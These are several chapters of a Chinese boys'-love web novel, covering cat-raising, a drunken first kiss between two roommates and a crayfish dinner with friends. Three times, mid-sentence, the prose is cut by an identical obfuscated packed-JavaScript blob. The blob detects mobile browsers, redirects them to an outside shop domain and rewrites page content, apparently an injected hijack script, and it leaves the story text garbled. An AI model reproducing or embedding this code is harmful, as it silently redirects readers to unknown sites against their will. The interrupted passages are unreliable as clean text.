“那其他小猫呢?叫我爷爷吗?”厉时修的脸顿时黑了下来,他一个风华正茂连恋爱都没谈过的大男人突然来了个辈分超级加倍是吧? 柯向阳显然没想到这个问题,一时语塞。 乔梦书抿着唇,一副想笑又不敢笑的样子。 厉时修瞥了他一眼:“你笑什么?它们叫我爷爷的话,你得叫我爸爸。” 乔梦书:“……” 这会轮到柯向阳死死抿住嘴巴了。 最后几人一致决定不要在乎小猫之间的辈分了,大家一起当爸爸。 吃完饭柯向阳和乔梦书又杵在猫屋前不挪窝了。 “给小猫崽也起个名字吧。”乔梦书提议。 柯向阳转头看向厉时修,显然是在询问他的意见。 厉时修:“你起吧。” 柯向阳指了指三只小公猫:“就按花色起,小狸,小橘,牛奶。” 乔梦书问:“那我这两只叫大花和小花?” 柯向阳:“……” 乔梦书:“不行不行,这名字说出去孩子会被笑话的!你给我好好想!” 柯向阳冥思苦想,最后掏出手机,搜索“宠物起名大全”。 乔梦书看他是指望不上了,说:“那用食物来起名字吧,我看我同事家的宠物名字就是这么来的。” 柯向阳点点头:“那这只还是叫牛奶,其他的你来。” 乔梦书想到自己早上吃的早餐,顺手就拿来用了:“这只小橘叫面包,小狸叫芝麻,两只三花是女孩子,要可爱点,叫糯米和年糕吧。” 柯向阳赞许地朝乔梦书竖起大拇指。 小奶猫大部分时间都处于睡眠状态,活动能力十分有限,但这并不妨碍人类对着它们的睡颜一边拍照一边惊呼“可爱”。 等小乖也开始休息,柯向阳和乔梦书便坐在沙发上挑选照片准备发朋友圈。 每张都好可爱,同一个姿势拍了好几张,只要有些许的不同之处就舍不得删,柯向阳有预感自己的手机内存要不够用了。 “我们之间把照片发群里吧,这样不用转来转去的。”乔梦书已经往群里发了好几张了。 “那不是游戏群吗?徐佑和齐朔不会有意见吧?”柯向阳点进群聊保存照片。 “我来改成宠物交流群。”乔梦书丝毫不在意其他两个成员的感受,“他俩要是嫌烦会自己退群的。” 柯向阳:“也行吧。” 编辑好的朋友圈刚想点发送,又想起这是厉时修的猫,人家都没发呢,自己在这又是选照片又是想文案的,是不是有点兴奋过头了? 13. 看猫 厉时修正在频繁刷新朋友圈,半天没刷出柯向阳的动态,终于忍不住问:“你还没发吗?” 柯向阳手一抖,点到了“发送”键:“……” “看到了。”厉时修又刷新了一遍,看见朋友圈里熟悉的头像,先点了个赞,再将那条动态的文案和照片保存下来,发到自己的朋友圈里。 很快,柯向阳收获了第一条评论,毫不意外地又是程嘉弘:你们一起养的猫吗?真可爱。 柯向阳正想回复他那是厉时修的猫,自己只是帮忙照顾一下,下一秒就看见底下多出来的一条评论。 厉时修:没错。 柯向阳收回想打字的手,下意识瞄了他一眼。 厉时修挑挑眉,用眼神传达出一个问号。 柯向阳摇摇头,假装看手机,他们这样算一起养猫吗?那等他搬走了小猫要怎么办呢?一人分两只吗? 不过柯向阳还是挺高兴的,一起养猫,听着跟小情侣似的。 另一边,厉时修的朋友圈也再现了上次旅游时的盛况,点赞评论不断,同样养猫的纪向松更是直接跟他约了周末上门看猫。 他虽然拒绝了,但以纪向松的厚脸皮程度,肯定会当做没看见。 乔梦书又坐了一会,起身准备回家:“时间不早了,我先走了,明天还得上班。” 柯向阳跟着从沙发上起来:“我送你。” 乔梦书摆摆手,随口道:“不用,徐佑来接我了。” 柯向阳没多想,便只送他到电梯口。 回来时,却见厉时修眼神怪异地看着他。 “怎么了?”柯向阳摸摸脸,还以为自己脸上有东西。 “乔梦书是跟徐佑一起住吗?我记得明大不是要求学生全部住宿的吗?”在厉时修的印象中,那两人只是单纯的学长学弟关系,“还特地来接他,他们感情那么好的吗?” “嗯……”柯向阳心里猛地咯噔一下,开始飞快地在脑海中编造借口:“他、他跟舍友闹矛盾了,去乔乔那借住两天。” “哦。”厉时修点点头,没再追问。 柯向阳松了口气,心底莫名地又有些痒痒的,不知道厉时修如今对同性恋是何看法,万一没有那么抗拒了呢?如果直接告诉他乔梦书和徐佑是一对,他会是什么反应?要是能接受的话,是不是说明…… “你还杵在那干嘛?”厉时修见柯向阳突然站在客厅不动了,不明所以地问了一句。 差点脑袋发热的柯向阳顿时清醒过来:“啊,我要去洗澡。” 厉时修莫名其妙:“洗澡就洗澡,还要站那酝酿半天。” 柯向阳挠挠头,不好意思地去拿衣服。 夜里,躺在床上的柯向阳又开始翻来覆去睡不着。 心头那丝痒意还在不断撩拨,怎么都压不下去。就像睡衣里落进一根小绒毛,揪也揪不出,挠也挠不到。 柯向阳抓了两下胸口,感觉痒意越来越具象化,奇怪,他起身打开床头灯,拉开睡衣领口一看,原来胸前的位置真的有一根猫毛。 柯向阳:…… * 科三考试约在了下周三上午,所以练车安排在周一和周二下午。 柯向阳在家待了两天,除了吃饭睡觉洗澡,其余时间全部跟六只猫腻在一起,已经跟小乖建立起深厚的叔侄情谊。 到了周末,跟柯向阳约好要过来的乔梦书上门时正好碰到同样来看猫的纪向松。 两个性格外向的人像是通上了特定的信号,一拍即合,说话也越发口无遮拦。 “那你跟小柯一样叫我乔乔,我就叫你老纪吧。”乔梦书脱口而出,不知是有意还是无意。 柯向阳:“……” 厉时修:“……” 纪向松的重点却歪向了另一头:“我哪里老了?我才24岁好不好,还可以过五四青年节的!” “是吗?居然比我小,那你看着有点显老啊。”乔梦书怀疑地扫视了他一眼,“就叫你小纪吧。” “我才不小!要不要我掏出来给你看看?!”纪向松怒道,作势要去解皮带。 厉时修抬手捂住柯向阳的眼睛。 柯向阳:“?” “那叫你纪吧?”乔梦书歪歪头,柯向阳确定他是故意的了。 纪向松严肃道:“说纪不说吧,能不能文明点?” 其余三人:“……” 刚刚还想脱裤子掏家伙的男人这会倒是记起来要文明点了。 纪向松又说:“我都叫你乔乔了,你不能用一样的方式叫我吗?” 乔梦书:“当然可以,叫你纪纪,这下满意了吧?” 纪向松:“……” 柯向阳一副不忍直视的表情。 纪向松转头趴在厉时修肩头痛哭:“呜呜,我要回去改姓。” “赶紧去。”厉时修烦死他这个作样,将人推开后还恨不得给他一拳好帮他哭得更真实一点。 猫屋外的几人吵吵闹闹,猫屋里的小乖已经给小猫崽喂完奶,朝柯向阳轻轻“喵”了一声。 “小乖,来,过来。”柯向阳对它招招手,引导它从猫爬架一层一层往下跳。 小乖跳到最低层,有些迟疑地来回踱步,外面多了个陌生人,明显让它觉得紧张。 在柯向阳的鼓励下,小乖还是大着胆子走出猫屋,蹭了蹭他的裤脚,这是在撒娇。 柯向阳干脆盘腿坐在地板,将小乖抱在怀里像哄孩子一样拍着它的背。 小乖在医院的时候,医生顺便给它清洁过身体,加上它本身也爱干净,没事就给自己和小猫舔毛,现在身上的毛顺滑服帖,比刚到家那会精神不少。 柯向阳凑到它脑袋上吸了两口,发出一声满足的喟叹:“小猫咪真的好香啊。” 乔梦书闻言,跟着低头猛吸两口,顿时满脸陶醉。 看到小乖受宠的模样,纪向松忍不住掏出手机炫耀起自家儿子。 他家养的是一只纯种布偶,照片里的猫咪睁着双湖蓝色的大眼睛,鼻子小巧粉嫩,毛发柔顺蓬松,尤其是颈部那圈标准的大毛领将它的高贵气质衬托得淋漓尽致。 “哇!好漂亮的布偶。”柯向阳由衷赞叹,随后又摸了摸小乖的脑袋,心想他们家小乖也很漂亮。 虚荣心得到满足的纪向松得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171834|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“等你们家的小猫长大点,我把我儿子带过来跟它们一起玩。” “不行,你家猫掉毛太严重了。”不等柯向阳接话,厉时修率先拒绝。 “小猫咪那么可爱,掉点毛怎么了?而且你家四只猫,以后还不是得掉毛!”纪向松强烈谴责厉时修这种双标的行为。 “小乖可不像你儿子那么会掉毛。”厉时修对自家猫已经有滤镜了。 纪向松气得牙痒痒,看着自己摸过小乖却不怎么沾毛的手,再回想起自家儿子所过之处漫天飞毛的场景,确实无法反驳。 小猫崽如今已经能睁开眼了,眼里覆盖着一层蓝膜,粉色的肉垫和嘴巴又软又嫩,妈妈不在身边,它们一只只翻出吃得圆鼓鼓的小肚子,伸长了脖子奶声奶气地呼唤起来,可爱得要命。 乔梦书小心翼翼捧着糯米和年糕,恨不得马上把两个女儿揣兜里带回家。 同为三花,但姐妹俩身上的花色差异明显,一眼就能分辨出来。 糯米身上白色部位较少,从脑袋到整个背部大面积地覆盖着灰、橘两色花纹,只有肚子上有一小块白毛,像系了个小肚兜,年糕身上的色块分布则更加均匀,连脑袋上也是左边一块橘,右边一块黑,中间夹着一块白,雨露均沾。 “长大了可以给我儿子做女朋友吗?”纪向松轻轻摸了摸小糯米的身体,期待地问。 乔梦书顿时不乐意了:“虽然这么说有点不礼貌,但以猫猫的审美来说,你家儿子是配不上我家女儿的,你就别做梦了。” 纪向松不死心:“说不定你女儿喜欢呢?” 乔梦书嗤笑一声:“你会喜欢一个又肥又油腻的男人吗?” “我又不是gay,我本来就不喜欢男人。”纪向松故意模糊重点,转头勾住厉时修的肩膀,“我要是gay,老厉根本不会允许我近他的身。” 柯向阳摸猫的手停了一瞬,感觉像被兜头浇了一盆冷水,简直提神醒脑,此刻无比庆幸自己昨晚没有一时上头。 厉时修啧了一声,嫌弃地把纪向松的手甩开,拿过逗猫棒逗弄小乖。 纪向松和乔梦书在厉时修家里吃了午饭,又拖着柯向阳和厉时修打了几局游戏才依依不舍地告别。 而柯向阳从纪向松说出那句话后兴致就一直不是很高,送走两人,他双手抱腿坐在沙发上目光呆滞,直到额头传来一阵温热的触感,是厉时修的手。 “脸色怎么又变差了,哪里不舒服?”厉时修凑得很近,近到可以数清他的睫毛。 “没有,只是觉得有点累。”柯向阳微微转开脸,掩饰地说道。 厉时修的手悬在半空,嘴角微不可察地向下撇了一分:“都说了别一天到晚盯着它们,累了就去休息会。” “好,那我去躺一会。”柯向阳恹恹地回到房间,往床上一扑,心头的小火苗才刚冒头,又被浇灭。 他有时候也会想,厉时修对他这么好,是不是有一点点喜欢他? 现在看来真是想多了,或许他们之间的关系早已超越普通朋友,但种种迹象表明,厉时修大概只是把他当作家人,无论如何,都不可能朝着恋人的方向发展。 14. 接吻 柯向阳迷迷糊糊睡了一觉,醒来天都黑了。 客厅里只开了一盏暖黄色的灯,厉时修抱着小乖靠在沙发上看电视。 “厉哥,你在看什么?”柯向阳揉着眼睛走过去,睡太久肚子都饿了。 “你之前老让我看的那部美剧,现在正好没事。”见柯向阳醒了,厉时修将电视声音调大了点。 熟悉的背景音乐传来,柯向阳看向电视屏幕,上面播放的是他最喜欢的一部情景喜剧,大学那会的电子榨菜,工作之后就看得少了。 “饿了吗?想吃什么?”厉时修将小乖放到地上,小乖便自觉地朝柯向阳走去。 “阿姨今晚没来吗?”柯向阳抱起小乖,听见从它喉咙里传出的呼噜声,低头蹭了蹭它的脑瓜。 “嗯。”厉时修原本想带他出去吃才没让阿姨做饭,没想到他居然能睡这么久。 “烤串吧,我来点外卖。”柯向阳懒得出门,打开外卖软件筛选了一番,选了家销量、评分都不错的烧烤店,“正好冰箱里还有啤酒。” 厉时修提醒:“别点太辣的,等会又肚子疼。” “知道啦。”在吃辣这方面,柯向阳属于嘴巴喜欢,但肚子受不了的类型,每次吃完太辣的东西,第二天肚子准得痛。 厉时修在茶几上铺了层一次性桌布,吃完以后桌布一卷就收拾好了,也不会弄脏茶几,方便又干净。 柯向阳则把小乖放回猫屋,想想还是关上了门,他怕一会喝了酒顾不上小乖。 外卖来得很快,柯向阳按照厉时修的喜好,点的基本全是肉串,备注了少盐少辣,可还是有点咸,不知不觉就喝了两罐啤酒。 许久没有重温过这部美剧,如今就像在看新剧一样,每一个笑点都让他乐不可支,引得趴在窝里的小乖频频侧目。 “吃东西的时候别笑那么夸张,等会呛到了。”厉时修看到柯向阳对着易拉罐口豪迈喝酒的样子,不放心地拿了两个啤酒杯过来,“倒杯子里喝。” 柯向阳随口应好,下一秒,屏幕上突然出现一个名场面,嘴里刚灌进去的啤酒差点喷出来,他死死捂着嘴巴,被狠狠呛了一下,淡黄色的液体顿时从鼻子里流出。 厉时修:“……” “咳咳咳!咳咳咳——”柯向阳将啤酒吐回杯子,咳得惊天动地,脸上又是鼻涕又是眼泪。 “早跟你说了,每次都不长记性。”厉时修拍拍他的背,抽了几张纸巾,嫌弃地给他擦脸。 “这次真记住了。”好不容易缓过来的柯向阳苦着一张脸,眼圈红红的看起来十分委屈。 厉时修拿起遥控器:“换一部剧看吧。” “不用不用,就看这个,下饭。”柯向阳再三保证自己绝对不会再呛到,说话间总觉得鼻子里还没清干净,又拿纸巾用力地擤了两下,这下鼻子也红了。 “看那么多遍了,不腻吗?”厉时修无奈。 “很久没看快忘光了,正好跟你一起再看一遍。”柯向阳说完怕厉时修不感兴趣,补充道:“你要是想看别的也行。” 厉时修:“我是无所谓,这部剧挺有意思的。” 大部分美剧由于尺度问题,能在国内的视频网站上播放的全是删减版,翻译也都和谐过,不过对厉时修来说没什么影响,他能听懂原声台词也能看懂英文字幕,确实会有趣许多。 柯向阳是看过未删减版的,后来为了弹幕才冲了个视频会员,眼下身边有个现成的翻译,看见弹幕上飘过一片吐槽时他再也不需要去密密麻麻的文字里寻找答案。 不过剧里的台词会被和谐多半是沾点颜色,厉时修解释起来面不改色,柯向阳倒是越听脸越热。 他还是去看弹幕吧。 此刻的剧情发展到一位主角需要在友情和爱情中做出选择。 这一幕柯向阳不管看多少次还是会觉得十分感动。 “如果是你,会怎么选?”厉时修突然开口问道。 “跟他一样吧。”在他看来,主角已经做出最好的选择了,当下的情形,多年的友情和短暂的爱情,是他的话只会更加毫不犹豫。 厉时修:“如果不是这种短暂的心动呢?” “跟你相比的话,我肯定选你呀。”柯向阳笑着看向他,不知是不是因为喝了酒,感觉胸口有些发烫,“厉哥,在我这里,你永远是第一位。” 厉时修端起杯子和他碰了一下,指尖轻颤,沉默片刻才说了句:“我也是。” 柯向阳还想说些什么,喉咙却像被堵住了一样发不出声,只能默默喝酒。 啤酒存货不多,两个大男人一起,很快就全部解决,见柯向阳一副仍未尽兴的模样,厉时修去酒柜里拿出两瓶低年份的红酒:“要不要来点?” 柯向阳接过高脚杯,紫红的液体沿着杯壁流下,在暖黄灯光下泛起琥珀色光晕,最后落入杯中漾开一阵酸涩的果香。 红酒的度数比啤酒高一点,加上两种不同的酒混着喝,哪怕柯向阳酒量不算差,这会头也开始晕了。 超高清的电视屏幕里又在上演吻戏。 身边多了个人一起品鉴这种香艳的画面,让柯向阳十分不自在。 大概是文化差异,这部剧里的吻戏比拼多多的砍一刀需要拉的人还多,而且朋友、情侣、异性、同性之间全部都能吻上。 他很好奇,现实中的直男会和同性接吻吗?他长这么大,还不知道接吻是什么感觉,真的有吻技好坏一说吗? “想试试吗?”厉时修的声音从耳边传来。 “什么?”柯向阳歪着头问。 “不是想知道接吻的感觉吗?”厉时修凑上前,在两人鼻尖即将相触的位置停下,“要不要试试?” 柯向阳这才意识到自己刚刚把心里想的话全说出来了,被酒精麻痹的大脑思考得慢了些,眨眨眼,问:“我们?可以吗?” 厉时修尽力控制自己的声线保持平静:“接个吻而已,没什么大不了的。” 是啊,只是接个吻,没关系的吧? 此时,在柯向阳眼里,厉时修仿佛化身海妖,用充满蛊惑的声音在他耳边不断引诱,面对那张放大的俊脸,他鬼使神差地点了点头。 厉时修显然没想到他会答应得那么干脆,短暂的愣神后,抬手捏住他的下巴。 柯向阳紧张地咽了咽口水,忍不住问:“你有经验吗?” “没有。”厉时修的拇指轻轻擦过他的嘴唇,像是试探,又像是安抚。 两人的距离近到可以清晰看见对方瞳孔中自己的倒影,谁都没有再进一步。 柯向阳感觉厉时修眼中涌动出某种他看不懂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171835|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪,随后缓缓后撤。 这或许是唯一一次能跟厉时修如此亲密的机会了。 这么想着,柯向阳干脆闭上双眼往前一送,此刻他无比庆幸自己喝了酒,反正不管有什么后果都可以借口自己喝多了。 触碰到两片柔软的瞬间,耳边除了自己如擂鼓般的心跳声,什么声音都听不见了。 厉时修的手抚上他的后脑,微微用力,加深这个吻。 柯向阳不自觉地张开嘴,感受某个湿滑的存在钻入口腔,顿时呼吸急促,笨拙地回应起来。唇舌交缠的声音回响在客厅,又淹没在欢乐的片头曲里,柯向阳觉得有些羞耻,脸上也越来越热。 厉时修的动作强势不容抗拒,吻着吻着就将人压在沙发上。 “唔……”柯向阳有点喘不过气,双手抵在厉时修胸口推拒起来,只是浑身无力,推拒的动作像是在爱抚,把厉时修的火都摸了出来。 大腿根处清晰地感受到某个硬物,酒意混合着欲望,柯向阳觉得自己要窒息了。 这就是接吻的感觉吗?整个世界都跟着晕头转向,舒服得快要融化了。 “小柯,醒醒。”厉时修轻轻拍了两下柯向阳的脸颊,看他失神的双眸逐渐聚焦。 “厉哥。”柯向阳喃喃道,嘴唇上还带有莹润的水光。 “接吻都能晕过去,怎么这么没用?”厉时修的语气带着笑意,手指轻轻擦掉他唇角的口水。 柯向阳红着脸,小声反驳:“是酒喝多了才晕的。” 两人的身体紧紧贴合在一处,什么反应都能被清晰察觉,柯向阳不自在地挪了一下屁股。 “感觉怎么样?”厉时修伸手把他拉了起来。 “还好。”柯向阳以为他在问自己难不难受。 “我说这个。”厉时修又侧头在他唇上轻啄了一下,“符合你的预期吗?” 柯向阳的脸顿时像是着火般红得要滴出血来,开始语无伦次:“感、感觉、挺、挺好的,很舒服,你、技术不错。” 回应他的是厉时修的一声轻笑。 柯向阳恨不得给自己一个耳光,他到底在说什么啊,丢死人了! 不过很快他就顾不上丢不丢人的事了,因为厉时修对他说:“你的技术一般,还得练。” “我又没经验,哪有什么技术。”柯向阳愤愤道,转念一想,厉时修也是第一次,难道这就是所谓的优秀的人学什么都快吗? 厉时修意有所指:“所以才要多练。” 柯向阳的大脑还是一团浆糊,根本没听出他的言外之意,只想赶紧解决身体的兴奋反应:“我要去洗澡了。” “喝了酒别洗澡,明天起来再洗吧。”厉时修却神情自若,仿佛身下的鼓包不存在一样。 “我又没喝多。”刚刚还想将一切归于醉酒的柯向阳嘴硬道。 厉时修注视着柯向阳离开的背影,意犹未尽地舔了舔嘴唇。 浴室里,柯向阳有些无力地坐在浴缸里。 他很少会做这种事,今晚的吻对他来说太刺激了,不得不自力更生来一发。 柯向阳摸了摸嘴唇,开始怀疑自己是不是在做梦,可舌根还在发麻,那种湿润黏腻的触感仍残留在唇齿之间,只是回忆起来,身体就兴奋得无可救药。 真是要疯了。 15. 熔岩蛋糕 初夏时节,炎热的天气中偶尔也会夹杂着凉爽的时候。 从车管所出来的柯向阳看着被厚厚云层挡住的天空,只觉整个人身心舒畅。 终于考完了! 现在只要等驾驶证寄到家,他就可以正式成为一名持证上路的新手司机了。 这个好消息当然要第一时间分享给厉时修,再发个朋友圈昭告天下。 他发现自己最近越来越爱发朋友圈了,光是猫咪的照片就分享了不下百张,是不是该克制一下自己的分享欲了?可是小猫真的很可爱! 厉时修:【恭喜,晚上想吃什么?】 柯向阳看了眼时间,他午饭还没吃呢,想了想:【今天我下厨吧,可以叫乔乔来一起吃吗?我答应他考完了要请客的。】 厉时修:【可以,叫阿姨帮你。】 柯向阳:【不用,我自己可以,你跟阿姨说今天不用来了。】 厉时修似乎犹豫了会,才回复了个【好】字。 那晚的事,两人很默契地没再提起,仿佛真的只是喝多之后的荒唐行径。 柯向阳花了一天时间上网搜索关于直男朋友间相处的各种帖子,越看越怀疑人生。不知道这些人是在搞抽象还是认真的,居然连“和兄弟互相帮助过好几次”都说出来了,朋友,互联网上没有你在乎的人了吗? 他设想如果自己仅仅把厉时修当兄弟,那个吻还会不会发生,结果也是不确定的,毕竟他们喝了不少酒。 最后柯向阳得出结论:男人果然是用下半身思考的生物。明明不是gay,依旧能和同性发生亲密关系。 与厉时修在沙发上纠缠的画面又浮现眼前,那个吻的触感正逐渐模糊,柯向阳心中隐隐觉得可惜,两人的初吻没能在清醒的状态下进行。 不过话说回来,要是他们都保持清醒,也不会发生那个吻了。 初吻属于喜欢的人这件事,已经足够他偷着乐了,理智告诉他,不要因为那个吻而有所幻想。 在醉意消散的那一刻,有些事就该跟着一起深埋心底。 柯向阳觉得厉时修大概也是这么想的,双手用力地拍拍脸,将杂念赶出脑海。 * 回到市区随便吃了午饭的柯向阳马不停蹄地跑去超市买食材。 经过水产区时,看见刚上市的小龙虾,顿时有了想法。 不喜欢各类水产品的厉时修对于小龙虾倒是接受良好,可能是因为重口味的做法掩盖了它们自身的腥味。 收到邀约的乔梦书觉得三个人吃饭怪冷清的,他跟厉时修又不是很熟,干脆把纪向松也叫上了。 柯向阳按照人数称了十斤虾,让超市的服务员帮忙处理干净,转身去买别的食材。 黄瓜、腐竹、年糕、土豆,这些都是做小龙虾必不可少的配菜,包括小龙虾酱料包。 家里的啤酒上次全喝完了,不知道今晚他们喝不喝酒,反正做虾的时候也得加,多买点吧。 又去熟食区买了些卤味,小龙虾还没处理好,柯向阳便选了送货上门的服务,自己骑上小电驴先走一步。 夏天骑车最怕遇到大晴天和大雨天,好在今天没有太阳也没有雨,很适合骑行。 经过上次那家巧克力店时,柯向阳又进去买了一点生巧和两块熔岩蛋糕当饭后甜点。 想着以后会继续回购,这次他主动提出要充卡,只要这家店不倒闭,充卡无疑更划算一点。 接待他的依旧是上次那个服务员,还送了他两块试吃的新品。 到家后的柯向阳第一时间把猫屋打开。 小猫崽如今已经可以站起来了,只是站不太稳,走起路来哆哆嗦嗦,十分有趣。 因为担心它们从高处掉下来,柯向阳特地把猫窝挪到了低处。 半个月大的猫崽开始长出细小的爪子和乳牙,柔软的胎毛比刚捡到时浓密了许多,花纹颜色也更加清晰,肉垫粉嫩到近乎透明,蜷缩在毛绒垫子上,像一颗颗蓬松的毛球。 小猫的世界里似乎只有两件事,喝奶和睡觉,此刻闭着眼睛还时不时伸出小舌头舔舐空气。 太可爱了! 柯向阳掏出手机从各个角度进行拍摄,为自己的本就不多的手机内存雪上加霜。 拍完后依照惯例挑出几张发给厉时修:【可爱吧?】 厉时修:【可爱。】 柯向阳:【怎么又秒回?上班摸鱼啊。】 厉时修:【(墨镜)】 没多久,超市买的东西送上门了。 处理好的小龙虾不能久放,他用水清洗了一遍,马上起锅烧油。 厉时修家里没有大锅,十斤虾要分几次才能炸完。油炸过的小龙虾通体鲜红,香味扑鼻,柯向阳试吃了一只,新鲜的虾肉不需要调味都很美味。 炸好的虾放边上备用,时间尚早,得先把配菜准备好。 许久没有正经下过厨的柯向阳切菜动作稍显生疏,好在时间充裕,可以慢慢来。 这期间,小乖寸步不离地跟在他脚边,偶尔还会站起来伸长脖子看着灶台,一副好奇宝宝的模样。 柯向阳抽空给它水煮了两只海虾,一口一口喂着它吃:“小乖,握手。” 聪明的小乖完全掌握了讨食的方式,伸出右前肢搭在柯向阳手里。 “小乖真棒,你就是全世界最聪明最可爱的小猫咪。”柯向阳捏着它的肉垫,在它脑袋上狠狠亲了两口。 “喵~”小乖吃完虾,回到猫屋给自己舔毛,最近伙食太好,不仅胖了一圈,连毛发也越发油光水亮的。 怕光吃小龙虾太单调的柯向阳还准备了一些凉拌菜,炖了一锅排骨汤。 翻冰箱的时候翻出上次旅游时爷爷送的碱水饼,只剩最后两块,再不吃要放坏了,柯向阳便拿出来准备一起炒了。 厉时修今天特地提前下班,到家看到的就是柯向阳憋红了脸在那削饼的场景。 “我来吧。”换好衣服的厉时修接过柯向阳手里的工具。 柯向阳重重呼出一口气,擦了擦额头的汗,差点以为晚上吃不上这盘饼了。 有了厉时修帮忙,柯向阳回头去看锅里焖着的小龙虾。 十斤小龙虾不好装盘,直接分了两锅做,最后连锅一起端上桌。 厉时修削完饼顺手炒了,炒完另外两个人也来了。 “哇!好丰盛啊!”乔梦书提着一袋水果,纪向松跟在他身后两手空空。 “你的餐厅是不是倒闭了?每天都这么闲。”厉时修一见到纪向松就得损他两句。 纪向松:“我请那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171836|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多员工不就是为了自己能闲一点吗?什么都要我这个老板干,还要员工干什么?” 乔梦书忍住想要给他一拳的冲动,将水果放进冰箱:“我买了荔枝和杨梅,现在冻起来,正好饭后吃。” 柯向阳招呼两人坐下,忙碌了一下午的他早就饥肠辘辘,分发完碗筷,迫不及待地夹了两筷子炒饼,边吃边夸:“就是这个味,太香了!” “这就是你们从水泽镇带回来的特产啊,我试试。”乔梦书第二个下筷子,柯向阳本来要送他一点的,只是他不下厨,便没要,“确实好吃。” “是吧,厉哥炒的呢,他手艺可比我好多了。”柯向阳骄傲得像是自己被表扬了似的。 乔梦书简直没眼看。 “老厉,你还会下厨?那我高低得尝尝咸淡了。”尝过咸淡的纪向松立刻向他抛出了橄榄枝:“有没有兴趣来我的餐厅做菜啊?” 厉时修懒得理他,筷子精准伸到柯向阳做的小龙虾里,夹起一块土豆,顺便夸夸辛苦了一下午的大厨:“味道不错。” 纪向松也觉得没眼看。 小龙虾晾了一会,没那么烫了,几人才戴上手套开始吃虾。 柯向阳做了香辣和蒜蓉两种经典款,用现成的酱料包调味,没什么出错的空间,最重要的是食材质量好,肉质鲜嫩饱满,只只带黄,提前去了虾线,吃起来更方便。 “太久没吃过你做的东西,都忘了你厨艺也不赖了。”乔梦书竖起满是红油的大拇指。 纪向松:“你也来我餐厅工作吧。” 乔梦书:“吃个饭你发出两份offer了,要不要干脆连我一起收了?” 纪向松看了乔梦书一眼,勉强道:“收你当个服务员也不是不可以。” 乔梦书:“滚啊。” 柯向阳还是低估了几人的食量,两大锅的小龙虾连带配菜和汤汁都吃得干干净净。 凉拌菜和排骨汤紧随其后被一扫而光,只剩下卤味可以解解嘴巴的寂寞。 “夏天就是得吃小龙虾啊,等天气再热点,可以做冰镇虾吃了。”乔梦书啃着鸡爪,满脸期待。 纪向松连连点头:“还有咖喱虾和卤虾,干脆多买点,每种口味都做一盘。” 厉时修无情道:“回你自己的餐厅吃去。” 纪向松深谙有吃有还,再吃不难的道理:“那我来提供食材。” 厉时修:“不如我提供食材,你去给我做一桌满汉全席。” 纪向松不着痕迹地看了眼乐呵呵的柯向阳,朝厉时修竖了个中指。 收拾好餐桌,柯向阳将饭后甜点和水果一起端上桌。 乔梦书也是个巧克力爱好者,尝过一块就要柯向阳把店名和位置发给他。 纪向松的餐厅有专门做这类甜品的大厨,显得兴致缺缺。 熔岩蛋糕只有两块,按照柯向阳的计划,应该是他和乔梦书吃一块,厉时修跟纪向松吃一块,结果被厉时修狠狠拒绝。 “那我把蛋糕切开吧。”柯向阳起身要去厨房拿刀。 纪向松率先举手:“我不吃,你们三个分好了。” 厉时修把其中一块推到乔梦书面前,对柯向阳说:“我们一起吃。” “哦、好。”柯向阳点点头,莫名觉得脸有点热。 16. 开车 乔梦书歪了歪头,看向柯向阳的眼中全是问号。 柯向阳低头吃蛋糕,只当没看见。 蛋糕比起生巧要甜许多,柯向阳吃完就觉得自己那颗已经很久没作过妖的蛀牙在隐隐作痛。 厉时修看他捂着脸颊,问:“怎么了?” 柯向阳摇摇头:“没事,只是觉得有点甜。” 厉时修想起他大学那会补牙的事,眯了眯眼:“你是不是又蛀牙了?” “没有!”柯向阳大声否认。 厉时修朝他走近一步:“你张嘴。” 柯向阳立刻死死捂着嘴,此地无银三百两。 乔梦书和纪向松一脸无语地看着他。 厉时修警告道:“蛀牙不及时治疗,拖到后面只能拔牙了。” “真的没有!”柯向阳最讨厌去看牙了,之前那两颗蛀牙也是痛得受不了,才被厉时修拖去医院做了根管,现下想想当时钻头在嘴里钻牙的感觉,还是一阵难受。 厉时修递过一颗冰冻过的荔枝:“来,吃一颗我看看。” 柯向阳:“……” 厉时修将荔枝塞进自己嘴里,问:“你是准备自己去,还是我陪你去?” “我过完端午再去行不行?真的没有很严重。”柯向阳双手合十,开始采取能拖一天是一天的措施。 厉时修见状,没有回答,算是默认了。 乔梦书和纪向松突然觉得自己好多余。 定下看牙的时间,柯向阳顿时变得垂头丧气,像一朵失去阳光的向日葵。 乔梦书看不下去了,忍不住低声数落:“你忘了以前在宿舍牙疼得死去活来的事了?这次我站霸王龙啊,蛀牙就得及时治疗。” 